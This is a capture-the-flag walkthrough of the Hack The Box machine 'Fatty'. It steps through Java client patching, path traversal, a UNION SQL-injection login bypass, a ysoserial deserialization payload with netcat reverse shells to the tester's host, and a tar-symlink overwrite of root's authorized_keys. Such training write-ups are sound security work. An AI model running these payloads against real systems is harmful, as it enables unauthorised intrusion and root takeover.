Fatty

Fatty is an insane linux box by qtc.

Overview

The box starts with ftp-enumeration, where we find some notes and a java client. In order to use the client, we have to patch the client multiple times. Decompiling the client, we find a possible traversal vulnerability, which with some modifications we can exploit to download the server’s source code.

Decompiling the server, we can search for a SQL-injection, which was hinted by a note we found earlier. We can locate the SQL-injection in the server’s code that handles the login. The supplied username is directly used in a select-query without any sanitization. Using the SQL-injection, we can escalate our session-privileges to administrative access, which allows us to access further functionalities of the client.

Further enumeration of one of the newly accessible functionalities (changing the user’s password), we can find a deserialization-vulnerability in the server’s source code. Using ysoserial, we can create a payload that allows us to get a reverse-shell upon deserialization. Now that we have a reverse-shell on the docker-container as the user, we can read user.txt.

In order to escalate our privileges to root, we have to exploit a cronjob that transfers and extract logfiles from the docker-container to the real host. For this we archive a symlink that upon extraction overwrites the old extraction point. This way upon the next transfer of the logfiles we get arbitrary file-write as root. In order to get a shell, we first write the location for the root-user’s authorized_keys to the extraction point. Then we write our ssh-key to the extraction point, which overwrites the authorized_keys file, giving us ssh-access as the user root. Logging in using ssh, we get a shell as root and can read root.txt.

Information Gathering

Nmap

We begin our enumeration with a nmap scan for open ports.

root@darkness:~# nmap -sC -sV 10.10.10.174
Nmap scan report for 10.10.10.174
Host is up (0.093s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 ftp      ftp      15426727 Oct 30  2019 fatty-client.jar
| -rw-r--r--    1 ftp      ftp           526 Oct 30  2019 note.txt
| -rw-r--r--    1 ftp      ftp           426 Oct 30  2019 note2.txt
|_-rw-r--r--    1 ftp      ftp           194 Oct 30  2019 note3.txt
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.14.8
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey: 
|   2048 fd:c5:61:ba:bd:a3:e2:26:58:20:45:69:a7:58:35:08 (RSA)
|_  256 4a:a8:aa:c6:5f:10:f0:71:8a:59:c5:3e:5f:b9:32:f7 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
root@darkness:~# nmap -p- 10.10.10.174
Nmap scan report for 10.10.10.174
Host is up (0.057s latency).
Not shown: 65530 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
1337/tcp open  waste
1338/tcp open  wmc-log-svc
1339/tcp open  kjtsiteserver

Enumeration

The standard nmap scan shows that 21 and 22 are the only open ports. Furthermore, nmap tells us that anonymous FTP-access is allowed. The full port scan shows three additional ports (1337, 1338 and 1339). Let us check out FTP, before we continue to enumerate the other ports.

FTP - Port 21

Using our anonymous access, we can access ftp and download the files available.

root@darkness:~# ftp 10.10.10.174
Connected to 10.10.10.174.
220 qtcs development server
Name (10.10.10.174:root): anonymous 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp      15426727 Oct 30  2019 fatty-client.jar
-rw-r--r--    1 ftp      ftp           526 Oct 30  2019 note.txt
-rw-r--r--    1 ftp      ftp           426 Oct 30  2019 note2.txt
-rw-r--r--    1 ftp      ftp           194 Oct 30  2019 note3.txt
226 Directory send OK.

Having downloaded all files, let us read the notes, before we start checking out the fatty-client.jar file.

root@darkness:~# cat note.txt 
Dear members, 

because of some security issues we moved the port of our fatty java server from 8000 to the hidden and undocumented port 1337. 
Furthermore, we created two new instances of the server on port 1338 and 1339. They offer exactly the same server and it would be nice
if you use different servers from day to day to balance the server load. 

We were too lazy to fix the default port in the '.jar' file, but since you are all senior java developers you should be capable of 
doing it yourself ;)

Best regards,
qtc

Note.txt tells us that the three found ports are all running the fatty java server. Furthermore, it seems like we have to fix the port ourselves in order to use the binary.

root@darkness:~# cat note2.txt 
Dear members, 

we are currently experimenting with new java layouts. The new client uses a static layout. If your
are using a tiling window manager or only have a limited screen size, try to resize the client window
until you see the login from.

Furthermore, for compatibility reasons we still rely on Java 8. Since our company workstations ship Java 11
per default, you may need to install it manually.

Best regards, 
qtc

The second note tells us that the binary is running java 8. In order to run it, we will have to install this version of java on our system.

root@darkness:~# cat note3.txt
Dear members, 

We had to remove all other user accounts because of some seucrity issues.
Until we have fixed these issues, you can use my account:

User: qtc
Pass: clarabibi

Best regards,
qtc

The third and final note gives us credentials, we can use to work with the java client.

Decompiling the java client

Now that we have gathered some basic information about the java client, let us use JD-GUI to decompile the java project.

Opening up the project in JD-GUI, we get an overview of all files.

JD-GUI overview

We have a couple of java-classes, a beans.xml file and a PKCS #12 archive. Looking at the beans.xml file, we can see that the client is connecting to server.fatty.htb on port 8000. We can add this hostname to our /etc/hosts file. Furthermore, we can see that the client uses the fatty.p12 key and the secret of clarabibiclarabibiclarabibi.

Patching incorrect port

Now that we have an overview of the project file, let us patch the port so we can actually run the client. Let us extract the java-archive in order to patch the incorrect port.

root@darkness:~# cp fatty-client.jar fatty-client.zip; unzip fatty-client.zip
Archive:  fatty-client.zip 
  inflating: META-INF/MANIFEST.MF    
  inflating: META-INF/1.SF            
  inflating: META-INF/1.RSA           
  [...]
  extracting: beans.xml
  extracting: exit.png                 
  extracting: fatty.p12                
  creating: htb/
  creating: htb/fatty/
  creating: htb/fatty/client/
  creating: htb/fatty/client/gui/
  [...]

Next we have to change the port in the beans.xml file.

root@darkness:~# sed -i 's/8000/1337/g' beans.xml

Now we have to create the java archive again:

root@darkness:~# jar cf fatty-client-new.jar .

We can also simply update files within the java archive like this:

root@darkness:~# jar uf fatty-client.jar beans.xml

Finally, we have to sign the archive again. For this we need to get the key for signing. Luckily it is hardcoded in the TrustedFatty.class file.

PKCS 12 Key

The key used is secureclarabibi123. We now can use jarsigner to sign the jar file.

root@darkness:~# jarsigner -storetype pkcs12 -keystore fatty.p12 fatty-client.jar 1
Enter Passphrase for keystore: secureclarabibi123
jar signed.

Warning: 
The signer's certificate is self-signed.

Now that we have signed the client, we can run it.

root@darkness:~# java8 -jar fatty-client.jar

Client login

Upon running the client, we get to the login view, where we can use the credentials from the note file.

Login successful

After logging in, we get to the main page, where we now can use the option-bar above to select various actions.

Client menu

We have two interesting functionalities available: Profile > whoami and the FileBrowser. The whoami simply displays our usernames and the FileBrowser functionality seems to let us read data from the server.

Enumerating the FileBrowser functionality

List dir

The FileBrowser has three different directories we can list: Configs,Notes and Mail. We can then use the textbox at the bottom to specify one of the files to read.

Read files

Checking out the files, we have two interesting files: report.txt (talking about security issues in the client) and dave.txt (talking about possible SQL-injections).

Dave.txt:

Hey qtc, 

until the issues from the current pentest are fixed we have removed all administrative users from the database.
Your user account is the only one that is left. Since you have only user permissions, this should prevent exploitation
of the other issues. Furthermore, we implemented a timeout on the login procedure. Time heavy SQL injection attacks are
therefore no longer possible.

Best regards,
Dave

Let us try to read a non-existing file and see if we get any interesting behavior.

Path leak

Using a non-existing file leaks our current directory on the server: /opt/fatty/files/mail/.

Let us check out the source-code for the file-read.

Source code for file-read

Checking out the file ClientGuiTest.class, we can see that in order to list the directories the function invoker.showFiles(directory) and to read the file the function invoker.open(folder, fileName) is called. What catches my eye is the line 447: fileName.replaceAll("[^a-zA-Z0-9.]", ""); which seems to be an input filter. If the filtering is only done client-sided, we can remove this line and possibly exploit a path-traversal.

Checking out the Invoker.class file, we have the showFiles and open function.

File-read class

Patching filename filter

Let us patch the file-name filter, so we can arbitrary define filenames, which may give us path-traversal. Furthermore, let us patch the fileBrowser, so it reads the directory from the input field (which possibly allows us to get directory-traversal).

For this we simply copy the java-code from JD-GUI, save it to a file and change the mail.addActionListener(...) function to the following code.

leak.addActionListener(new ActionListener() {
          public void actionPerformed(ActionEvent e) {
            String response = "";
            String folder = ClientGuiTest.this.fileTextField.getText();
            ClientGuiTest.this.currentFolder = folder;
            try {
              response = ClientGuiTest.this.invoker.showFiles(folder);
            } catch([...]) {
                [...]
            }
            textPane.setText(response);
          }
        });

Now we have to compile the newly created using javac.

root@darkness:~# javac8 htb/fatty/client/gui/ClientGuiTest.java

This creates following class files:

root@darkness:~# ls htb/fatty/client/gui/
'ClientGuiTest$10.class'  'ClientGuiTest$16.class'  'ClientGuiTest$3.class'  'ClientGuiTest$9.class'
'ClientGuiTest$11.class'  'ClientGuiTest$17.class'  'ClientGuiTest$4.class'   ClientGuiTest.class
'ClientGuiTest$12.class'  'ClientGuiTest$18.class'  'ClientGuiTest$5.class'   ClientGuiTest.java
'ClientGuiTest$13.class'  'ClientGuiTest$19.class'  'ClientGuiTest$6.class'
'ClientGuiTest$14.class'  'ClientGuiTest$1.class'   'ClientGuiTest$7.class'
'ClientGuiTest$15.class'  'ClientGuiTest$2.class'   'ClientGuiTest$8.class'

Now we simply have to update the jar archive to use all these class files instead, sign it again and run it.

root@darkness:~# jar uf fatty-client.jar htb/fatty/client/gui/*
root@darkness:~# jarsigner -storetype pkcs12 -keystore fatty.p12 fatty-client.jar 1
Enter Passphrase for keystore: secureclarabibi123
jar signed.

Warning: 
The signer's certificate is self-signed.
root@darkness:~# java8 -jar fatty-client.jar

Leak dir menu

The client now has the Leak instead of the Mail menu.

Exploiting path traversal

Using .. as the wanted directory, we can now try to traverse our directory.

Path traversal successful

We get a new listing of a directory we have not seen before. Our previous directory was files. The file fatty-server.jar seems the most interesting.

File-read with traversal successful

After changing our directory, we can read the start.sh file.

Reading the fatty-server.jar does not give us any output, which makes sense as the file won’t be printable text. Let us change to open function to saving data to a file, instead of reading it. This way we can extract the source-code from the server.

Patching file read to download server

In order to write data as a file, we need to create a new function that does the same as the Invoker.open function, but instead of calling response = this.response.getContentAsString();, we use response = this.response.getContent();. This gives us the response as bytes. Now we can use FileOutputStream to write the bytes to a file.

public String downloadServer() throws MessageParseException, MessageBuildException, IOException {
    this.action = new ActionMessage(this.sessionID, "open");
    
    String foldername = "../";
    String filename = "fatty-server.jar";

    this.action.addArgument(foldername);
    this.action.addArgument(filename);

    sendAndRecv();
    if (this.response.hasError())
      return "Error while communicating with server";
    
    try
    {
      String output_file = "fatty-server.jar";
      FileOutputStream fos = new FileOutputStream(output_file);
      fos.write(this.response.getContent());
      return "Downloaded server!";
    }
    catch (Exception e)
    {
      e.printStackTrace();
      return "Error while trying to download the server!";
    }
  }

The code above will we added to the Invoker.class class. Now we have to call this function in the GUI class. We can simply change the Notes button to instead execute our code.

dlserv.addActionListener(new ActionListener() {
          public void actionPerformed(ActionEvent e) {
            try {
              String response = ClientGuiTest.this.invoker.downloadServer();
              textPane.setText(response);
            } catch (Exception ex) {
              JOptionPane.showMessageDialog(controlPanel, ex.getMessage(), "Error", 0);
            } 
          }
        });

The code above will be added to the ClientGuiTest.class class.

Same as before, we now have to compile the classes again and update the jar archive.

root@darkness:~# javac8 htb/fatty/client/methods/Invoker.java
root@darkness:~# javac8 htb/fatty/client/gui/ClientGuiTest.java
root@darkness:~# jar uf fatty-client.jar htb/fatty/client/gui/*
root@darkness:~# jar uf fatty-client.jar htb/fatty/client/methods/*
root@darkness:~# jarsigner -storetype pkcs12 -keystore fatty.p12 fatty-client.jar 1
Enter Passphrase for keystore: secureclarabibi123
jar signed.

Warning: 
The signer's certificate is self-signed.
root@darkness:~# java8 -jar fatty-client.jar

Server downloaded

We now have the server downloaded in the same directory, where we launched the client:

root@darkness:~# ls -lh
total 26M
-rw-r--r-- 1 root root 1.6K Jul 26 19:18 beans.xml
-rw-r--r-- 1 root root 2.2K Oct 30  2019 exit.png
-rw-r--r-- 1 root root  15M Jul 26 21:20 fatty-client.jar
-rw-r--r-- 1 root root 4.3K Oct 30  2019 fatty.p12
-rw-r--r-- 1 root root  11M Jul 26 21:22 fatty-server.jar
drwxr-xr-x 3 root root 4.0K Oct 30  2019 htb
-rw-r--r-- 1 root root  831 Oct 30  2019 log4j.properties
drwxr-xr-x 4 root root 4.0K Jul 26 19:13 META-INF
-rw-r--r-- 1 root root  299 Apr 26  2017 module-info.class
drwxr-xr-x 6 root root 4.0K Apr 26  2017 org
-rw-r--r-- 1 root root  41K Oct 30  2019 spring-beans-3.0.xsd

Decompiling the java server

Now that we have the fatty server downloaded, let us check out the source in JD-GUI.

Server in JD-GUI

Seems like we have a couple of server-specific classes. Remembering back to the dave.txt file, there should be a SQL-injection somewhere. FattyDbSession.class sounds very interesting, so let us start searching here.

SQL-injection in server-code

The SQL-injection vulnerability is located in the checkLogin function. The inputted username is directly inputted in the select query. We also get the fields of the users table from the source-code. Especially the role field seems interesting, as it probably defines our privileges. Let us see, where this field is evaluated.

We can see which roles are available by checking the getRoleByName function in the Role.class file.

 public static Role getRoleByName(String name) {
    if (name.equalsIgnoreCase("admin"))
      return getAdminRole(); 
    if (name.equalsIgnoreCase("user"))
      return getUserRole(); 
    System.out.println(name);
    return getAnonymous();
  }

Seems like there are three roles: admin, user and anonymous.

Another function worth looking at is the constructor of the User object.

User class

Upon creating the user, a secret salt (or in this case pepper as it is kept secret) is appended to the inputted user and password. This string is then hashed using SHA256. This is useful information, if we would have to write a password-cracker or wanted to create our own password. Let us this information to create the hash of the qtc user.

root@darkness:~# hash=$(echo -n "qtcclarabibiclarabibimakeseverythingsecure" | sha256sum)
root@darkness:~# echo ${hash^^} | cut -d ' ' -f1
5A67EA356B858A2318017F948BA505FD867AE151D6623EC32BE86E9C688BF046

Now that we have gathered enough information about the database-backend and the information formatting, let us exploit the SQL-injection to get administrative access.

Getting admin access by exploiting the SQL-injection

The SQL-query that is executed upon login looks as follows:

SELECT id,username,email,password,role FROM users WHERE username='INPUT'

We control the INPUT part of this query. We can use a UNION injection to change the output of the query, which allows us to change our current role to admin.

We have to supply id,username,email,password and the role we want to have.

In our case this would be: <NUMBER>,qtc,'chronos',password,'admin'.

The full SQLi payload looks like this:

'UNION ALL SELECT 2,'admin','chronos','password','admin' FROM users;#

We can add this code to the ClientGuiTest.class file.

Upon clicking the login button instead of doing this:

String username = ClientGuiTest.this.tfUsername.getText().trim();
String password = new String(ClientGuiTest.this.tfPassword.getPassword());
ClientGuiTest.this.user = new User();
ClientGuiTest.this.user.setUsername(username);
ClientGuiTest.this.user.setPassword(password);

We simply run the SQL-injection:

String sqli = "'UNION ALL SELECT 2,'admin','chronos','password','admin' FROM users;#";
ClientGuiTest.this.tfUsername.setText(sqli);
ClientGuiTest.this.tfPassword.setText("password");
ClientGuiTest.this.user = new User(sqli, "password", false);

As before, we compile the class, overwrite the jar file, sign and run the client.

SQLi

We can verify that our SQL-injection was successful by using the Profile > whoami menu.

SQLi successful

We now have the role admin and have full access to all menus. The only new functionality that is really interesting is Profile > ChangePassword.

Change password

Let us check out the source code of the client and the server for the ChangePassword functionality.

Enumeration of the ChangePassword functionality

The changePw action is handled in the Commands.class class on the server.

public static String changePW(ArrayList<String> args, User user) {
    [...]
    String response = "";
    String b64User = args.get(0);
    byte[] serializedUser = Base64.getDecoder().decode(b64User.getBytes());
    ByteArrayInputStream bIn = new ByteArrayInputStream(serializedUser);
    try {
      ObjectInputStream oIn = new ObjectInputStream(bIn);
      User user1 = (User)oIn.readObject();
    } catch (Exception e) {
      [...]
    } 
    [...]
  }

The server reads in the serialized user and deserializes it. If we are able to control the data that is being deserialized, we can get remote code execution.

The changePw action is handled in the Invoker.class on the client.

public String changePW(String username, String newPassword) [..] {
    [...]
    User user = new User(username, newPassword);
    ByteArrayOutputStream bOut = new ByteArrayOutputStream();
    try {
      ObjectOutputStream oOut = new ObjectOutputStream(bOut);
      oOut.writeObject(user);
    } catch (IOException e) {
      e.printStackTrace();
      return "Failure while serializing user object";
    } 
    byte[] serializedUser64 = Base64.getEncoder().encode(bOut.toByteArray());
    this.action = new ActionMessage(this.sessionID, "changePW");
    this.action.addArgument(new String(serializedUser64));
    sendAndRecv();
    if (this.response.hasError())
      return "Error: Your action caused an error on the application server!"; 
    return this.response.getContentAsString();
  }

The username and password is used as an argument. A new user-object is created and it is serialized. Then it is base64-encoded and transferred to the server. We control the password in this specific case and therefore can exploit the deserialization vulnerability. We just have to change the changePw function to simply pass the payload to server:

public String changePW(String username, String newPassword) throws [...] {
    this.action = new ActionMessage(this.sessionID, "changePW");
    this.action.addArgument(newPassword); //Insert deserialization payload here
    sendAndRecv();
    if (this.response.hasError())
      return "Error!";
    return this.response.getContentAsString();
  }

And change the GUI to actually call the method.

pwChangeButton.addActionListener(new ActionListener() {
          public void actionPerformed(ActionEvent e) {
            String username = "chronos";
            String password = ClientGuiTest.this.textField_2.getText();
            try {
              ClientGuiTest.this.invoker.changePW(username, password);
            } catch (Exception ex) {
              return;
            }
          }
        });

Now we again have to patch the client. You can find the fully patched client, as well as the modified source code and a script to quickly patch the client on my GitHub.

Exploiting the deserialization vulnerability

Now that we know that we have a deserialization vulnerability in the ChangePassword functionality, we simply have to create a java-deserialization-payload. For this we can use ysoserial. Let us assume that netcat is installed on the system. With this we can generate a payload using following command:

root@darkness:~# java -jar ysoserial.jar CommonsCollections5 'nc 10.10.14.8 443 -e /bin/sh'| base64 -w 0
<BASE-64 PAYLOAD>

Reverse-shell payload

Now we just have to enter the base64 payload into the password field and start our listener.

root@darkness:~# nc -lvnp 443
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.174.
Ncat: Connection from 10.10.10.174:36287.
whoami
qtc

We get a response back and now have a shell as qtc. Let us upgrade the shell for easier usage:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.8 443 >/tmp/f &
root@darkness:~# rlwrap nc -lvnp 443
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.174.
Ncat: Connection from 10.10.10.174:36793.
/bin/sh: can't access tty; job control turned off
2f265ce12800:/home/qtc$ 

Upgrading the shell shows the hostname 2f265ce12800. The strange hostname could mean that we are in a container. Let us further enumerate the machine and see if we can already read user.txt.

2f265ce12800:/home/qtc$ ls -alh
total 16
drwxr-sr-x    1 qtc      qtc         4.0K Oct 30  2019 .
drwxr-xr-x    1 root     root        4.0K Oct 30  2019 ..
drwx------    1 qtc      qtc         4.0K Oct 30  2019 .ssh
----------    1 qtc      qtc           33 Oct 30  2019 user.txt
2f265ce12800:/home/qtc$ chmod 400 user.txt
2f265ce12800:/home/qtc$ cat user.txt
7fab2***************************

The user.txt flag is not readable, however as we are the owner of the file, we can quickly change the permissions and read the file.

Privesc to root

Now that we have a shell as user, let us enumerate the system, to find a privilege escalation vector.

Enumeration as qtc

Let us upload pspy to the server and run it.

2f265ce12800:/tmp$ wget 10.10.14.8/pspy64
Connecting to 10.10.14.8 (10.10.14.8:80)
pspy64                14% |****                            |  446k  0:00:05 ETA
pspy64                71% |**********************          | 2137k  0:00:00 ETA
pspy64               100% |********************************| 3006k  0:00:00 ETA

2f265ce12800:/tmp$ chmod +x pspy64
2f265ce12800:/tmp$ ./pspy64
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░
                   ░           ░ ░
                               ░ ░
[...]
UID=0    PID=75     | crond -b 
UID=0    PID=76     | sshd: [accepted]
UID=22   PID=77     | sshd: [net]       
UID=1000 PID=78     | sshd: qtc         
UID=1000 PID=79     | scp -f /opt/fatty/tar/logs.tar
[...]

Seems like the user qtc regularly copies the /opt/fatty/tar/logs.tar tar archive somewhere on the real host.

We can check out the /opt/fatty/tar directory.

2f265ce12800:/opt/fatty$ ls -lh
total 10592
-rw-r--r--    1 root     root       10.3M Oct 30  2019 fatty-server.jar
drwxr-xr-x    5 root     root        4.0K Oct 30  2019 files
drwxr-xr-x    1 qtc      qtc         4.0K Jan 29 12:10 logs
-rwxr-xr-x    1 root     root         406 Oct 30  2019 start.sh
drwxr-xr-x    1 qtc      qtc         4.0K Jul 26 21:00 tar

2f265ce12800:/opt/fatty/tar$ ls -alh
total 32
drwxr-xr-x    1 qtc      qtc         4.0K Jul 26 21:00 .
drwxr-xr-x    1 root     root        4.0K Oct 30  2019 ..
-rw-r--r--    1 qtc      qtc        21.0K Jul 27 09:00 logs.tar

Let us transfer the file to our machine using netcat.

2f265ce12800:/opt/fatty/tar$ cat logs.tar | nc 10.10.14.8 1234
root@darkness:~# nc -lvnp 1234 > logs.tar
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.10.174.
Ncat: Connection from 10.10.10.174:39273.

Let us check out the archive now.

root@darkness:~# tar xvf logs.tar
opt/fatty/logs/
opt/fatty/logs/error-log.txt
opt/fatty/logs/info-log.txt

The archive contains log files. Seems like the cronjob that copies the files via scp is a simple backup implementation between the container and the host.

Exploiting the backup process

We can assume that the archived data is copied somewhere and unpacked. We can exploit this by creating a symbolic link to a file we want to overwrite upon extraction. We can simply use /root/.ssh/authorized_keys to add our public key.

The exploitation process will happen like this:

1.) Overwriting backup location

Upon extraction the logs.tar file points to /root/.ssh/authorized_keys. logs.tar -> /root/.ssh/authorized_keys.

2.) Overwriting target file

Upon the second extraction the contents of the logs.tar file from the container is written to /root/.ssh/authorized_keys.

For this we have to first create the symbolic link, then pack the file in a tar archive and upload it to /opt/fatty/tar/logs.tar. We then have to wait for the archive to be uploaded. After the archive being uploaded, we overwrite the archive with our public-key.

root@darkness:~# ln -s /root/.ssh/authorized_keys logs.tar
root@darkness:~# ls -lh logs.tar 
lrwxrwxrwx 1 root root 26 Jul 27 11:35 logs.tar -> /root/.ssh/authorized_keys
root@darkness:~# tar cf logs2.tar logs.tar 
root@darkness:~# mv logs2.tar logs.tar

Now we have a logs.tar archive that contains a logs.tar file that points to /root/.ssh/authorized_keys.

root@darkness:~# ssh-keygen -f id_rsa -N ""
Generating public/private rsa key pair.
Your identification has been saved in id_rsa
Your public key has been saved in id_rsa.pub
The key fingerprint is:
SHA256:YsOI8jiY7io8x1EOniDxPFAFEFstoOEcqLfwhfZ8c18 root@darkness
The key's randomart image is:
+---[RSA 3072]----+
|**++.            |
|B+o .            |
|+B o             |
|+.Bo.+           |
|o=+** = S        |
|.=o+oooo.   E    |
|* o .. o . .     |
|o+ o      .      |
|=oo              |
+----[SHA256]-----+

We can now upload the file and look at our pspy output to see when it is being copied.

2f265ce12800:/opt/fatty/tar$ wget 10.10.14.8/logs.tar
Connecting to 10.10.14.8 (10.10.14.8:80)
logs.tar             100% |********************************| 10240  0:00:00 ETA

After the file is copied, we can overwrite the archive with our ssh-key.

2f265ce12800:/opt/fatty/tar$ echo 'ssh-rsa AAAAB[...]/Ubas=' > logs.tar

Now we have to wait again for the public-key to be transferred.

root@darkness:~# ssh -i id_rsa root@10.10.10.174
Linux fatty 4.9.0-11-amd64 #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20) x86_64
[...]
Last login: Wed Jan 29 12:31:22 2020
root@fatty:~#

After waiting a bit, we can ssh to the server as root.

root@fatty:~# ls -lh
total 24K
drwxr-xr-x 4 root root 4.0K Jul 27 11:51 client1
drwxr-xr-x 4 root root 4.0K Jul 27 11:51 client2
drwxr-xr-x 4 root root 4.0K Jul 27 11:51 client3
-rw-r--r-- 1 root root  616 Jul 27 11:51 log-puller.log
-rwxr-xr-x 1 root root 2.2K Oct 30  2019 log-puller.sh
-rw------- 1 root root   33 Oct 30  2019 root.txt

Now as we have a shell as root, we can read root.txt.

root@fatty:~# cat root.txt 
ee982***************************